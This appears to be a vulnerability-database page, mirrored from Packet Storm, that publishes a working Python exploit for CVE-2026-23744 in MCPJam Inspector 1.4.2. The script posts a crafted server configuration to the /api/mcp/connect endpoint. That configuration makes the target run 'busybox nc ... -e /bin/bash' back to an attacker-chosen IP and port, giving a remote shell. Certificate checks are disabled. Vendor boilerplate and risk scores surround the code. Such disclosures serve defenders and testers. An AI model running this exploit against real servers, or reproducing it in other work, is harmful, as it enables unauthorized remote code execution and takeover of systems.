Lucene search
K

📄 MCPJam Inspector 1.4.2 Remote Code Execution

🗓️ 24 Mar 2026 00:00:00Reported by FrenzisRedType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 374 Views

MCPJam Inspector 1.4.2 RCE test for CVE-2026-23744 using /api/mcp/connect to spawn reverse shell.

Related
Code
#!/usr/bin/env python3
    
    #################################
    #                               #
    #       CVE-2026-23744.py       #
    #       for testing only        #
    #                               #
    #################################
    
    import requests
    import argparse
    import json
    import sys
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    def main():
        parser = argparse.ArgumentParser(description='MCPJam Inspector RCE (GHSA-232v-j27c-5pp6) - CVE-2026-23744')
        parser.add_argument('--target', '-t', required=True, help='Target URL e.g. https://mcp.domain.com')
        parser.add_argument('--att-ip', '-i', required=True, help='Attacker IP for revshell listener')
        parser.add_argument('--att-port', '-p', required=True, help='Attacker port for revshell listener')
    
        args = parser.parse_args()
    
        url = f'{args.target}/api/mcp/connect'
    
        data = {"serverConfig": {"command": "busybox", "args": ["nc", args.att_ip, args.att_port, "-e", "/bin/bash"], "env": {}}, "serverId": "mcp_test_server"}
    
        print(f"\n{parser.description}\n")
    
        print(f"[+] Sending revshell to {args.att_ip}:{args.att_port} via {url}")
        print(f"[+] Payload: {json.dumps(data)}")
    
        try:
            response = requests.post(url, json=data, verify=False, timeout=10)
            print(f"[+] Status: {response.status_code}")
            print(f"[+] Response: {response.text}")
    
            if response.status_code == 200:
                print("[+] Check your listener!")
            else:
                print("[-] Exploit failed - check target/path")
    
        except requests.exceptions.RequestException as e:
            print(f"[-] Request failed: {e}")
            print("[+] Check your listener, script did not detect response.")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Mar 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.8
EPSS0.30368
SSVC
374